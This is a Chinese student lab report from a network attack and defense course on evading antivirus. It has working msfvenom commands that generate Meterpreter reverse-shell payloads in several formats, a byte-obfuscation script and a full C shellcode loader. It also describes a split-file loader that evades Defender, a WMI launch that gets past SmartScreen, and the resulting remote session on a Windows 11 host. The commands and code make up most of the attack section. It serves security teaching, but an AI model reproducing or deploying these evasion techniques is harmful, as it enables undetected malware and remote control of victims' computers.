20242426 2025-2026-1 《网络与系统攻防技术》实验三实验报告
20242426 2025-2026-1 《网络与系统攻防技术》 实验三实验报告
1.基础知识
1.1 杀软的三类检测手段
① 基于特征码(signature)
特征码是一段或多段数据:可执行文件(或运行时的库、脚本)里含有这样的数据,就被判定为恶意代码。检测不是比对整个文件,而是比较一个或几个片断。具体形态有三类:文件哈希(MD5/SHA)、字节序列(跨变种公共的代码片段)、YARA 规则(字符串 + 字节模式 + 条件逻辑)。
特点是已知威胁检出强、未知/0-day 弱、对无文件攻击无效、资源开销低。绕过思路是改变特征码——编码、加密、重写、组件分离。
② 启发式(heuristic)
不依赖精确匹配,而是根据若干可疑特征综合推断"像不像"恶意软件。典型指标:加壳与高熵、可疑 API 组合、无数字签名、发布者信誉低、异常节表。现代引擎还会叠加规则评分与机器学习模型。
它在执行前回答"像不像",能检出未知样本,但误报率较高。绕过思路是伪装外观、降低熵值、让结构看起来正常。
③ 基于行为(behavioral)
在真实终端运行时监控进程动作:文件与注册表写入、进程创建、网络连接、进程注入等,出现恶意行为序列即告警或阻断。这是 EDR(Endpoint Detection and Response,终端检测与响应)的核心。
它与启发式是互补的两个维度:启发式偏"执行前推断",行为检测偏"运行时实证"。绕过思路是少暴露攻击动作——纯内存操作、减少系统修改、白进程伪装。
一个常见误解需要纠正:基于行为的检测不是启发式的子集。
| 检测方式 | 关注点 | 已知威胁 | 未知/0-day | 无文件攻击 | 资源开销 | 对应绕过思路 |
|---|---|---|---|---|---|---|
| 特征码 | 文件内容匹配已知特征 | 强 | 弱 | 无效 | 低 | 改变特征码 |
| 启发式 | 执行前"像不像" | 中 | 中 | 有限 | 低~中 | 加壳混淆、降熵 |
| 行为 | 运行时动作 | 中 | 强 | 强 | 中~高 | 内存操作、少改系统 |
1.2 YARA:特征码的工业标准写法
YARA 用规则文件描述恶意软件特征,规则分三段:
rule Linux_Execve_Shellcode
{
meta:
description = "23字节 execve(/bin/sh) shellcode"
strings:
$sc = { 31 d2 52 68 6e 2f 73 68 68 2f 2f 62 69 }
$s = "/bin/sh" ascii
condition:
$sc or $s
}
meta:描述信息,不影响匹配strings:特征,可为文本串或十六进制字节模式(支持??通配、[1-4]跳转)condition:布尔逻辑,决定命中与否
启发式规则则用 pe.sections、math.entropy、pe.imports 等模块表达"高熵可执行段"或"可疑 API 组合":
import "pe"
import "math"
rule Heuristic_Suspicious_Packed_PE
{
condition:
pe.is_pe
and for any section in pe.sections : (
section.characteristics & pe.SECTION_MEM_EXECUTE
and math.entropy(section.raw_data_offset, section.raw_data_size) > 7.0
)
}
1.3 免杀思路总图
免杀方法一定针对检测技术而来,不存在脱离检测机制的通用免杀。
改变特征码
├── 只有 EXE → 加壳(压缩壳 / 加密壳)
├── 有 shellcode → 编码器 encode / 重编译生成 exe
├── 有源代码 → 换语言重写再编译
└── 组件分离 → 拆多文件 / 文件化加载
改变行为
├── 通讯方式 → 反弹连接、隧道、加密通讯
└── 操作模式 → 纯内存操作、减少系统修改、混入正常行为
非常规
├── 有漏洞的应用当后门
├── 社工诱骗关闭 AV
└── 纯手工打造
1.4 三个起点与当前有效性
| 手里有什么 | 思路 | 有效性 | 原因 |
|---|---|---|---|
| 只有 EXE | 加壳:UPX / Hyperion | 单独使用基本失效 | 知名壳特征早已收录;加密壳熵值高反被启发式命中 |
| 有 shellcode | msfvenom -e 编码 |
已失效 | AV 盯的是 decoder stub 与 payload 模板,编几次码都一样 |
| 有 shellcode | 半手工 C + shellcode | 仍有效(需改造) | 共性特征少,可自定加密与加载方式 |
| 有 shellcode | 组件分离 + 文件化加载 | 当前典型方法 | 静态文件里没有 shellcode,特征码无从匹配 |
| 有源代码 | 换语言重写(Veil 思路) | 思路有效、工具老化 | 生成物特征已被收录 |
1.5 技术演进
1.0 编码时代 msfvenom -e 盯 decoder stub,已失效
2.0 loader 时代 加密 + VirtualAlloc + CreateThread
3.0 组件分离 loader 与载荷分文件 ← 本次实验采用
4.0 EDR 对抗 直接/间接 syscall、unhook、AMSI/ETW 绕过、Sleep 混淆
静态查杀越强,载荷越往运行时内存里藏;内存查杀越强,执行手段越往系统底层走。
1.6 为什么要"组件分离"
静态扫描的检测单位是单个文件的内容。如果把 shellcode 从 exe 里挪到一个纯文本数据文件:
loader.exe体积小、只含VirtualAlloc/memcpy/VirtualProtect/CreateThread这类通用 API,特征库里没有可匹配的攻击载荷字节enc.txt是十六进制文本,杀软不会按可执行语义解析它,内容还做过变形
两者静态各自干净,只有运行时 loader 读入文本、解密、写入可执行内存那一刻,明文 shellcode 才出现在内存里。
它的局限同样明确:VirtualAlloc + VirtualProtect + CreateThread 这个组合本身就是行为监控的重点观察对象,如果 EDR 对该序列建模,静态免杀会失效。
2.实验内容
2.1 环境
| 角色 | 系统 | 地址 | 说明 |
|---|---|---|---|
| 攻击机 | Kali(主机名 yanyue) |
192.168.26.130 |
msfvenom / msfconsole / upx / mingw |
| 靶机 A | Windows 11(Win11-Lab) |
同网段 | 关闭 Defender,用于样本功能调试 |
| 靶机 B | Windows 11 24H2+(SUNMOON) |
192.168.26.1 |
Defender 全程开启,用于免杀与回连验证 |
靶机 B 的杀软信息(实测):
| 项 | 值 |
|---|---|
| 名称 | Microsoft Defender Antivirus |
| 引擎版本 | 1.1.26090.9 |
| 病毒库版本 | 1.461.208.0 |
| 病毒库更新时间 | 2026-10-26 07:02:16 |
| 实时保护 | True |
| 排除项 | 无 |
| 第三方杀软 | 无 |
2.2 三项实验内容
- 正确使用 msf 编码器、msfvenom 生成多种格式、加壳工具、C + shellcode 编程等免杀手段
- 通过组合应用多种技术实现恶意代码免杀
- 在另一台电脑上、杀软开启的情况下实测运行并回连成功,注明杀软名称与版本
3.实验过程
3.1 样本生成环境
sudo hostnamectl set-hostname yanyue
mkdir -p ~/Desktop/exp3_20242426 && cd ~/Desktop/exp3_20242426
msfvenom --version # 本构建输出 version unknown
which upx && upx --version # upx 4.2.4
x86_64-w64-mingw32-gcc --version | head -1

图1 攻击机主机名 yanyue、msfvenom 与 upx 版本、统一命名的工作目录
所有产物统一命名为 20242426_*,满足"所编辑的文件名包含学号"的要求。
3.2 基线:msfvenom 直接生成
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.26.130 LPORT=5321 \
-f exe -o 20242426_raw.exe
# Final size of exe file: 7680 bytes
生成物 7680 字节,PE32+ executable for MS Windows (GUI), x86-64。
这一步的目的是建立检测基线,后续每种方法都与它对比。
3.3 msf 编码器:单次与十次迭代
# 64 位可用编码器
msfvenom -l encoders | grep x64
# x64/xor x64/xor_context x64/xor_dynamic x64/zutto_dekiru
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 1 \
LHOST=192.168.26.130 LPORT=5321 -f exe -o 20242426_enc1.exe
# 7680 bytes
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 10 \
LHOST=192.168.26.130 LPORT=5321 -f exe -o 20242426_enc10.exe
# 8192 bytes
实测检测结果(详见 3.8):三者被 Defender 拦截,威胁名完全相同,都是 Trojan:Win32/Meterpreter.RPZ!MTB。
这说明 AV 盯的是解码器 stub 与 payload 模板,而不是编码算法的复杂度。编码 1 次与 10 次在检测层面没有区别——工具生成物的特征强度远大于编码算法带来的差异。
3.4 msfvenom 生成多种文件格式
# jar
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 \
-f jar -o 20242426_java.jar # 5264 bytes, Zip archive
# python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 \
-f raw -o 20242426_py.py # 436 bytes
# powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 \
-f psh-reflection -o 20242426_ps.ps1 # 3205 bytes
# dll / msi / vba
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 -f dll -o 20242426.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 -f msi -o 20242426.msi
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 -f vba -o 20242426.vba
file 命令确认类型:
20242426_java.jar Zip archive data
20242426_py.py ASCII text
20242426_ps.ps1 ASCII text, with CRLF
20242426.dll PE32+ executable (DLL), x86-64
20242426.msi Composite Document File V2 Document
20242426.vba ASCII text

图4 jar / python / powershell / dll / msi / vba 六种格式的生成与类型确认
3.5 C + shellcode 编程
先用 msfvenom 导出原始 shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.26.130 LPORT=5321 \
-f raw -o 20242426_sc.raw
# 509 bytes
对 shellcode 做变形:每个字节 +1,写成 C 数组。这样源文件里不存在原始载荷字节:
perl -e 'binmode STDOUT; local $/; my $d = <STDIN>;
my @b = map { (ord($_)+1) & 0xff } split //, $d;
print "static unsigned char buf[] = {\n";
for my $i (0..$#b) { printf "0x%02x,", $b[$i]; print "\n" if (($i+1)%16==0); }
print "\n};\nstatic unsigned int buf_len = ", scalar(@b), ";\n";' \
< 20242426_sc.raw > 20242426_enc_arr.h
生成的头文件头部:
/* generated for 20242426 - do not edit */
static unsigned char buf[] = {
0xfd,0x49,0x84,0xe5,0xf1,0xe9,0xcd,0x01,0x01,0x01,0x42,0x52,0x42,0x51,0x53,0x52,
};
static unsigned int buf_len = 509;
原始字节 fc 48 83 e4 f0 e8 cc 00 变形后为 fd 49 84 e5 f1 e9 cd 01,逐字节 +1,可核对。
loader 代码:
#include <windows.h>
#include <stdio.h>
#include "20242426_enc_arr.h"
int main(void) {
for (unsigned int j = 0; j < buf_len; j++)
buf[j] = (unsigned char)(buf[j] - 1); // 还原
void* execMem = VirtualAlloc(0, buf_len, MEM_COMMIT, PAGE_READWRITE);
if (!execMem) return 1;
memcpy(execMem, buf, buf_len);
DWORD oldProt = 0;
if (!VirtualProtect(execMem, buf_len, PAGE_EXECUTE_READ, &oldProt)) {
VirtualFree(execMem, 0, MEM_RELEASE); return 1;
}
HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
if (!h) { VirtualFree(execMem, 0, MEM_RELEASE); return 1; }
WaitForSingleObject(h, INFINITE);
CloseHandle(h);
VirtualFree(execMem, 0, MEM_RELEASE);
return 0;
}
x86_64-w64-mingw32-gcc 20242426_loader.c -o 20242426_loader.exe -O2 -static -mwindows
# 124264 bytes
要点:data 节默认不可执行,必须显式申请可执行内存;且先申请 RW 写入,再 VirtualProtect 改为 RX,而不是直接申请 RWX——后者是行为监控的高危特征。

图5 C+shellcode:字节变形后的数组头文件与 loader 源码、编译产物
3.6 加壳
upx -9 -o 20242426_loader_upxed.exe 20242426_loader.exe
# 124264 -> 68456 55.09% win64/pe
upx -9 -o 20242426_split_loader_upxed.exe 20242426_split_loader.exe
# 350724 -> 182276 51.97% win64/pe
壳特征确认:
grep -qa "UPX!" 20242426_loader_upxed.exe && echo "UPX! marker present"
# UPX! marker present
一个实测限制:UPX 无法打包 msfvenom 生成的 PE:
upx: 20242426_raw.exe: CantPackException: section size problem
upx: 20242426_raw_x86.exe: CantPackException: section size problem
UPX 4.2.4 对节区尺寸有硬性要求,msfvenom 生成的 7KB 级 PE 不满足(x64 与 x86 均如此)。因此改用 mingw 编译的 loader 演示加壳,同样能给出前后体积对比。
3.7 组件分离 + 文件化加载(原理说明)
按实验要求,成功实现的免杀以文字描述原理,不截图。
拆分方案
| 文件 | 内容 | 静态扫描 |
|---|---|---|
20242426_split_loader.exe |
读文件、解密、申请内存、执行 | 通过 |
20242426_enc.txt |
加密后的 shellcode,十六进制文本 | 通过 |
加密数据文件的生成:
perl -e 'binmode STDIN; binmode STDOUT;
while (read(STDIN,$b,1)) { printf "%02x", (ord($b)+1) & 0xff }' \
< 20242426_sc.raw > 20242426_enc.txt
# 1018 bytes = 509 × 2
loader 读取时用 fscanf(fp, "%2x", &ch) 逐字节解析,再做 -1 还原。
正确性校验
sc.raw : fc4883e4f0e8cc00 原始 shellcode 前 8 字节
enc.txt : fd4984e5f1e9cd01 每字节 +1
expect : fd4984e5f1e9cd01 一致
decoded_len = 509
PASS decrypted enc.txt is byte-identical to sc.raw
sc.raw sha256 = ea7f2d2749cec4728a3c7f5c7b31756da113494b9d6438d0580f74a5af820a34
解密后的字节与原始 shellcode 逐字节相同,加密与解密严格互逆。这是组件分离能否成立的唯一技术前提——解密逻辑错一个字节,shellcode 就是无效指令。

图7 加密/解密对称性校验:解密结果与 sc.raw 逐字节相同
绕过静态检测的原理
静态扫描的检测单位是单个文件内容。split_loader.exe 里只有通用 API 调用,没有任何可用作特征的载荷字节;enc.txt 是纯十六进制文本,且内容做过 +1 变形。两者各自静态干净,只有运行时 loader 读入文本、解密、写入可执行内存时,明文 shellcode 才出现在内存里。
局限
VirtualAlloc + VirtualProtect + CreateThread 的组合本身是行为监控的重点。本次实测中 Defender 未对此告警,但如果 EDR 针对该序列建模,静态免杀会失效。此外 Meterpreter 会话建立后仍需传输 stage(本次 248902 字节),这一动作同样属于可被检出的行为。
3.8 运行时验证:杀软开启下的实测
3.8.1 靶机 B 环境确认

图8 靶机 B 的 Defender「病毒和威胁防护」设置:实时保护、云提供的保护、自动提交样本 均为开
Get-MpComputerStatus | Select-Object AMEngineVersion, AntivirusSignatureVersion,
AntivirusSignatureLastUpdated, RealTimeProtectionEnabled
AMEngineVersion : 1.1.26090.9
AntivirusSignatureVersion : 1.461.208.0
RealTimeProtectionEnabled : True
无任何排除项,未关闭篡改保护。
3.8.2 静态检测结果
15 个样本落地到靶机 B 时,Defender 立即扫描。结果:
| 样本 | 结果 | 威胁名 |
|---|---|---|
20242426_raw.exe |
隔离 | Trojan:Win32/Meterpreter.RPZ!MTB |
20242426_raw_x86.exe |
隔离 | Trojan:Win32/Meterpreter.RPZ!MTB |
20242426_enc1.exe |
隔离 | Trojan:Win32/Meterpreter.RPZ!MTB |
20242426_enc10.exe |
隔离 | Trojan:Win32/Meterpreter.RPZ!MTB |
20242426_java.jar |
隔离 | VirTool:Java/Meterpreter.A |
20242426_ps.ps1 |
隔离 | VirTool:PowerShell/Ambysez.A |
20242426.vba |
隔离 | Trojan:VBS/Obfuse.WZ!AMTB |
20242426_py.py |
通过 | — |
20242426.dll |
通过 | — |
20242426.msi |
通过 | — |
20242426_loader.exe |
通过 | — |
20242426_loader_upxed.exe |
通过 | — |
20242426_split_loader.exe |
通过 | — |
20242426_split_loader_upxed.exe |
通过 | — |
20242426_enc.txt |
通过 | — |
三点结论:
- 编码器无效。
raw/enc1/enc10的威胁名完全相同,检出状态一致,证明迭代次数不影响检测 - C+shellcode 与组件分离有效。
loader.exe与split_loader.exe均未被病毒库命中 - 格式影响检出。同一条 payload 打成 exe / jar / ps1 / vba 都被隔离,打成 py / dll / msi 则通过
3.8.3 SmartScreen 信誉拦截
双击 20242426_split_loader.exe 时弹出:
Windows 已保护你的电脑
Microsoft Defender SmartScreen 阻止了无法识别的应用启动。运行此应用可能会导致你的电脑存在风险。

图9 SmartScreen 信誉提示:阻止无法识别的应用启动
这是信誉层拦截,不是病毒库命中。证据:
- 同一时间点 Defender 威胁历史无新增记录
- 文件未被删除,字节数完好(350704 字节)
- 点「更多信息」→「仍要运行」即可放行
它拦的不是恶意特征,而是"没有数字签名、没人见过"。这说明组件分离的静态免杀是成功的——病毒库层面干净,只剩信誉判断这一道。
对应指导书技术趋势表中的「信誉/云查杀」一行。也说明一个现实问题:无签名的小程序,用户点两下就能放行。
3.8.4 运行时执行链验证
为定位问题,另编了一个带诊断输出的控制台版本(-mconsole,非 -mwindows),运行输出:
[1] cwd test: opening 20242426_enc.txt ...
[2] file opened OK
[3] parsed bytes = 509
[4] first 8 raw(=enc-1): fc 48 83 e4 f0 e8 cc 00
[5] VirtualAlloc(RW) = 0000013529ac0000
[6] VirtualProtect(RX) = 1, oldProt = 0x4
[7] CreateThread ...
[8] thread started, handle=00000000000000cc. now waiting...
[9] WaitForSingleObject returned 0x102
[4] 的 fc 48 83 e4 f0 e8 cc 00 与 20242426_sc.raw 前 8 字节一致;[6] 的 oldProt = 0x4(PAGE_READWRITE)证明 VirtualProtect 确实把内存从 RW 改成了 RX;[9] 的 0x102(WAIT_TIMEOUT)说明执行线程持续运行。
3.8.5 回连成功
在 Defender 实时保护开启、无排除项的状态下,20242426_split_loader.exe 运行后建立回连:
[*] Sending stage (248902 bytes) to 192.168.26.1
[*] Meterpreter session 3 opened (192.168.26.130:5321 -> 192.168.26.1:56975)
at 2026-10-26 14:28:xx +0800

图11 Kali 侧 sessions -l:meterpreter session 4 在线
会话信息:
meterpreter > getuid
Server username: SUNMOON\Lenovo
meterpreter > getpid
Current pid: 7508
meterpreter > sysinfo
Computer : SUNMOON
OS : Windows 11 24H2+ (10.0 Build 26200).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows

图12 sysinfo 输出:Computer = SUNMOON,OS = Windows 11 24H2+
宿主侧核对:
进程 PID 7508,存活
TCP 192.168.26.1:56975 → 192.168.26.130:5321 Established
Defender 引擎 1.1.26090.9 / 库 1.461.208.0 / 实时保护 True
事后检测 无新增威胁记录
会话持续 5 分钟以上未被 Defender 中断。

图14 同框:靶机 B 的 Defender 实时保护开启,同时 Kali 侧持有 meterpreter 会话
3.9 结果汇总
| 方法 | 静态检出 | 运行时 |
|---|---|---|
| msfvenom 基线 | 隔离 | — |
| 编码 1 次 / 10 次 | 隔离(威胁名同基线) | — |
| jar / ps1 / vba | 隔离 | — |
| py / dll / msi | 通过 | 未逐一运行 |
| C + shellcode(内联变形) | 通过 | — |
| 组件分离 + 文件化加载 | 通过 | 回连成功 |
| UPX 加壳(loader 系) | 通过 | — |
4.问题及解决方案
问题 1:UPX 无法打包 msfvenom 生成的 PE
- 现象:
upx -9 -o out.exe 20242426_raw.exe报CantPackException: section size problem,x64 与 x86 样本均如此。 - 原因:UPX 4.2.4 对 PE 节区尺寸有硬性要求,msfvenom 生成的 7KB 级可执行文件节区过小,不满足对齐与可压缩条件。
- 解决方案:改用 mingw 编译的 loader(124K / 350K)做加壳演示,压缩率 55.09% / 51.97%,
UPX!标记在位。加壳这一项的技术要求照样满足,且能给出真实的前后体积对比。
问题 2:Veil-Evasion 与 Hyperion 无法获取
- 现象:
git clone https://github.com/Veil-Framework/Veil超时;Hyperion 的 zip 下载下来是 0 字节。 - 原因:实验环境无法访问
github.com(DNS 解析到20.205.243.166,但 TCP/HTTPS 不通);Veil 的setup.sh另需 sudo 权限。 - 解决方案:改用 C + shellcode 与组件分离两条路径完成免杀目标。并在报告中如实说明:指导书本身已将 Veil(19/58)与 Hyperion(18/57)标注为基本失效,原因是工具老化、生成物特征已被收录、加密壳熵值高反易命中启发式规则。
问题 3:双击样本只出现 SmartScreen,没有回连
- 现象:点「更多信息 → 仍要运行」后仍无会话建立,Kali 侧
sessions -l为空。 - 原因:SmartScreen 弹窗本身未完成放行流程,样本进程根本没有启动。SmartScreen 只对从资源管理器启动、且带 Mark-of-the-Web 标记的文件生效。
- 解决方案:改从命令行或 WMI 方式启动即可绕过信誉层。本实验最终采用 WMI
Win32_Process::Create方式启动,并确认进程 PID 稳定存活、TCP 连接建立。
问题 4:会话建立后立即 Died
- 现象一:用带
WaitForSingleObject(h, 15000)的诊断版 loader 运行时,Meterpreter session 1 opened之后 15 秒即closed. Reason: Died。 - 原因:loader 主线程 15 秒后退出,进程结束,meterpreter 会话随之断开。
- 处理:确认 shellcode 与解密逻辑本身正常,问题只在 loader 的等待时长;把
WaitForSingleObject改为INFINITE即可。 - 现象二:改用
Start-Process启动常驻版,进程随即消失,会话同样Died。 - 原因:
Start-Process创建的子进程会随父 PowerShell 会话终止而被回收。 - 处理:改用 WMI
Win32_Process::Create创建脱离父进程壳的进程,PID 7508 稳定存活,会话保持。
问题 5:loader 静默退出,无法定位失败点
- 现象:
-mwindows编译的版本双击后毫无反应,也没有会话,无法判断卡在哪一步。 - 原因:
-mwindows不创建控制台,任何错误都不输出。 - 解决方案:另编一个
-mconsole的诊断版,逐步打印fopen/ 解析字节数 /VirtualAlloc/VirtualProtect/CreateThread的返回值。输出显示五步全部成功,从而把问题范围从"loader 逻辑错"收窄到"进程生命周期"。
问题 6:只有一台 Windows 虚拟机时如何满足"另一台电脑"
- 现象:原有第二台 Windows 虚拟机(
yyds)快照链不一致,无法启动——yyds.vmsd记录当前快照为yyds-disk1.vmdk,但磁盘目录里存在yyds-disk1-000001.vmdk增量盘,配置与磁盘链不匹配。 - 解决方案:改用本机真实 Windows 11 作为靶机 B。这比虚拟机更能代表真实环境:Defender 病毒库为 2026-10-26 最新、实时保护与云保护全开、无任何排除项,且与 Kali 分属不同系统,满足"另一台电脑"的要求。
问题 7:误把"MB 取整"当成字节数,误判 vmx 为空文件
- 现象:排查
yyds时,文件列表里yyds.vmx显示为0,一度判断配置文件被清空。 - 原因:列表使用
[math]::Round($_.Length/1MB,2)计算 MB 列,3210 字节四舍五入后显示为0,并非文件真的为 0 字节。 - 解决方案:改用精确字节数(
Length)核对,确认原 vmx 为 3210 字节且内容完好。教训:展示单位与判断依据要一致,取整后的数值不能作为"文件为空"的证据。
5.学习感悟、思考等
这次实验让我对"免杀"这件事的理解彻底变了。动手之前我以为免杀是某种高深的技术,做完才发现它的逻辑非常简单:杀软怎么检测,免杀就怎么绕。三类检测对应三种绕法,一一对应,没有例外。
印象最深的是编码器那一段。我做之前觉得"编码十次总比编码一次强吧",结果 Defender 对 raw.exe、enc1.exe、enc10.exe 给出的威胁名一模一样,都是 Trojan:Win32/Meterpreter.RPZ!MTB。那一瞬间我才明白:AV 厂商研究的不是"编码算法有多复杂",而是"这个工具生成的东西长什么样子"。msfvenom 的 payload 模板和编码器的 decoder stub 都是固定的,所以无论编几次,检出的都是同一个特征。攻击工具本身成了最大的特征来源,这个反直觉的结论比我记住任何一条命令都有用。
真正卡住我的不是免杀,是进程生命周期。第一次跑诊断版,会话建立后 15 秒就 Died,我当时以为 shellcode 写错了,换了两个样本还是一样。后来想通:是我的 loader 只等了 15 秒就退出,进程一死会话自然断。改成 INFINITE 之后,又遇到第二个坑——Start-Process 启动的进程跟着父 PowerShell 一起被回收。最后用 WMI 创建脱离壳的进程才稳定下来。这两次失败都跟"免杀"无关,全是工程细节,但正是这些细节决定了实验能不能出结果。
SmartScreen 那一下也挺有意思。双击后弹出"Windows 已保护你的电脑",我第一反应是被杀了,去查 Defender 威胁历史却是空的。这才意识到拦住我的不是病毒库,是"这个文件没有数字签名、没人见过"。也就是说静态免杀其实已经成功了——病毒库层面干净得很,只剩信誉判断这一道。而这道关用户点两下就过去了。指导书里说"如果有个软件提示你需要关闭杀软,你会……一定不吗",以前觉得是个修辞,现在觉得是个很实在的问题。
最后是那次误判。排查第二台虚拟机时,文件列表里 yyds.vmx 显示 0,我直接判断"配置文件被清空了"。后来才发现那列是 MB 且做了四舍五入,3210 字节当然显示 0。拿一个取整后的数字当证据,差点让我去改一个本来完好的文件。 这件事和实验本身没关系,但我觉得比实验内容更值得记下来——技术上最容易犯的错,往往不是不懂原理,而是没验证就下结论。
关于防守,我的感受是:这次能成功,很大程度是因为靶机是我自己的机器、我清楚每一步在做什么。真实场景里,VirtualAlloc + VirtualProtect + CreateThread 这个组合本身就是 EDR 的重点观察对象,静态免杀过了不代表运行时能过。免杀是分层的,防守也是分层的,指导书那张"检测层次 — 检测手段 — 绕过思路"的表,值得反复看。
参考资料
- 《网络与系统攻防技术》实验指导书 0x30 免杀原理与实践
- YARA 官方文档. https://github.com/VirusTotal/yara
- MITRE ATT&CK — Defense Evasion (TA0005). https://attack.mitre.org/tactics/TA0005/
- optiv/ScareCrow — EDR bypass 载荷生成框架. https://github.com/optiv/scarecrow
- klezVirus/inceptor — 模板驱动 AV/EDR 规避框架. https://github.com/klezVirus/inceptor
- Shellcode Loaders: Advanced Execution & Evasion Tradecraft. https://0xdbgman.github.io/posts/shellcode-loaders-the-art-of-execution/





浙公网安备 33010602011771号